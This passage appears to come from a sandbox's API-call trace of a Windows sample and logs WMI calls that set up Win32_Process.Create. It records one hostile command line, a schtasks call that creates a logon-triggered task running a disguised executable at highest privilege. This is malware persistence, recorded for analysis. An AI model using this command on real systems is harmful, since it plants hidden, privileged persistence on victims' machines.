[7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0063.839] IUnknown:Release (This=0x111f638) returned 0x1 [0063.841] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x1bf2b5c0) returned 0x0 [0063.841] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf2b5c0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0063.841] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf2b5c0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x1bf3a8c0) returned 0x0 [0063.842] WbemDefPath:IUnknown:Release (This=0x1bf2b5c0) returned 0x0 [0063.842] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a8c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x1bf3a8c0) returned 0x0 [0063.842] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a8c0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0063.842] WbemDefPath:IUnknown:AddRef (This=0x1bf3a8c0) returned 0x3 [0063.842] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a8c0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0063.842] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a8c0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0063.842] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a8c0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x1bf2b600) returned 0x0 [0063.842] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf2b600, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0063.842] WbemDefPath:IUnknown:Release (This=0x1bf2b600) returned 0x3 [0063.842] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0063.842] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0063.842] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a8c0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0063.843] WbemDefPath:IUnknown:Release (This=0x1bf3a8c0) returned 0x2 [0063.843] WbemDefPath:IUnknown:Release (This=0x1bf3a8c0) returned 0x1 [0063.843] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0063.843] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0063.843] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a8c0, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x1bf3a8c0) returned 0x0 [0063.843] WbemDefPath:IUnknown:AddRef (This=0x1bf3a8c0) returned 0x3 [0063.843] WbemDefPath:IUnknown:Release (This=0x1bf3a8c0) returned 0x2 [0063.843] WbemDefPath:IWbemPath:SetText (This=0x1bf3a8c0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0063.843] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119c260, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0063.843] WbemDefPath:IWbemPath:GetText (in: This=0x119c260, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0063.843] WbemDefPath:IWbemPath:GetText (in: This=0x119c260, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0063.843] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0063.843] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0063.843] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0063.844] IUnknown:Release (This=0x111f638) returned 0x1 [0063.845] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf2b640) returned 0x0 [0063.846] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf2b640, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0063.846] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf2b640, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf3a980) returned 0x0 [0063.846] WbemDefPath:IUnknown:Release (This=0x1bf2b640) returned 0x0 [0063.846] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a980, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf3a980) returned 0x0 [0063.846] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a980, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0063.846] WbemDefPath:IUnknown:AddRef (This=0x1bf3a980) returned 0x3 [0063.846] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a980, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0063.846] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a980, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0063.846] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a980, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf2b680) returned 0x0 [0063.846] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf2b680, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0063.846] WbemDefPath:IUnknown:Release (This=0x1bf2b680) returned 0x3 [0063.846] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0063.847] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0063.847] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a980, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0063.847] WbemDefPath:IUnknown:Release (This=0x1bf3a980) returned 0x2 [0063.847] WbemDefPath:IUnknown:Release (This=0x1bf3a980) returned 0x1 [0063.847] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0063.847] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0063.847] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a980, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf3a980) returned 0x0 [0063.847] WbemDefPath:IUnknown:AddRef (This=0x1bf3a980) returned 0x3 [0063.847] WbemDefPath:IUnknown:Release (This=0x1bf3a980) returned 0x2 [0063.847] WbemDefPath:IWbemPath:SetText (This=0x1bf3a980, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0063.847] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3a8c0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0063.847] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3a980, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0063.847] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3a980, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0063.848] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3a980, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0063.848] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bf3a8c0) returned 0x0 [0063.848] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3a980, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0063.848] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3a980, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0063.848] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3a980, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0063.848] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf3a8c0, uIndex=0x0, pszName="root") returned 0x0 [0063.848] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3a980, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0063.848] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3a980, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0063.848] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf3a8c0, uIndex=0x1, pszName="cimv2") returned 0x0 [0063.848] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf3a980, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0063.848] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf3a980, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0063.848] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf3a8c0, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0063.848] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf3a8c0, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0063.848] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3a8c0, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0063.848] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119c260, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0063.848] WbemDefPath:IWbemPath:GetText (in: This=0x119c260, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0063.848] WbemDefPath:IWbemPath:GetText (in: This=0x119c260, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0063.848] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119c260, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0063.848] WbemDefPath:IWbemPath:GetText (in: This=0x119c260, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0063.848] WbemDefPath:IWbemPath:GetText (in: This=0x119c260, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0063.848] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3a8c0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0063.848] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3a8c0, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0063.848] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3a8c0, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0063.849] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3a8c0, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0063.849] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3a8c0, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0063.849] IWbemServices:GetObject (in: This=0x1bf29370, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x1bef6d00, ppCallResult=0x0) returned 0x0 [0063.854] IWbemClassObject:GetMethod (in: This=0x1bef6d00, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x1bf43870, ppOutSignature=0x1b2fd9e0*=0x1bf43be0) returned 0x0 [0063.855] IWbemClassObject:SpawnInstance (in: This=0x1bf43870, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x1bf19780) returned 0x0 [0063.855] IWbemClassObject:Get (in: This=0x1bf19780, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a8e798*=0, plFlavor=0x2a8e79c*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a8e798*=8, plFlavor=0x2a8e79c*=32) returned 0x0 [0063.855] IWbemClassObject:Get (in: This=0x1bf19780, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a8e798*=8, plFlavor=0x2a8e79c*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a8e798*=8, plFlavor=0x2a8e79c*=32) returned 0x0 [0063.855] IWbemClassObject:Put (This=0x1bf19780, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"choice\" /sc ONLOGON /tr \"'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0063.855] IWbemClassObject:Get (in: This=0x1bf19780, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a8e828*=0, plFlavor=0x2a8e82c*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a8e828*=13, plFlavor=0x2a8e82c*=32) returned 0x0 [0063.856] IWbemClassObject:Get (in: This=0x1bf19780, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a8e828*=13, plFlavor=0x2a8e82c*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a8e828*=13, plFlavor=0x2a8e82c*=32) returned 0x0 [0063.856] IUnknown:QueryInterface (in: This=0x1bef6620, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x1bef6620) returned 0x0 [0063.856] IUnknown:QueryInterface (in: This=0x1bef6620, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0063.856] IUnknown:QueryInterface (in: This=0x1bef6620, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0063.856] IUnknown:AddRef (This=0x1bef6620) returned 0x3 [0063.856] IUnknown:QueryInterface (in: This=0x1bef6620, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0063.856] IUnknown:QueryInterface (in: This=0x1bef6620, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0063.856] IUnknown:QueryInterface (in: This=0x1bef6620, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x1bef6628) returned 0x0 [0063.857] IMarshal:GetUnmarshalClass (in: This=0x1bef6628, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0063.857] IUnknown:Release (This=0x1bef6628) returned 0x3 [0063.857] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0063.857] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0063.857] IUnknown:QueryInterface (in: This=0x1bef6620, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0063.857] IUnknown:Release (This=0x1bef6620) returned 0x2 [0063.857] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0063.857] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0063.857] IUnknown:QueryInterface (in: This=0x1bef6620, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0063.857] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0063.857] IUnknown:QueryInterface (in: This=0x1bef6620, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0063.857] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0063.857] IUnknown:AddRef (This=0x1bef6620) returned 0x3 [0063.857] IWbemClassObject:Put (This=0x1bf19780, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bef6620, varVal2=0x0), Type=0) returned 0x0 [0063.857] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119c320, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0063.857] WbemDefPath:IWbemPath:GetText (in: This=0x119c320, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0063.858] WbemDefPath:IWbemPath:GetText (in: This=0x119c320, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0063.858] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119c260, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0063.858] WbemDefPath:IWbemPath:GetText (in: This=0x119c260, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0063.858] WbemDefPath:IWbemPath:GetText (in: This=0x119c260, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, 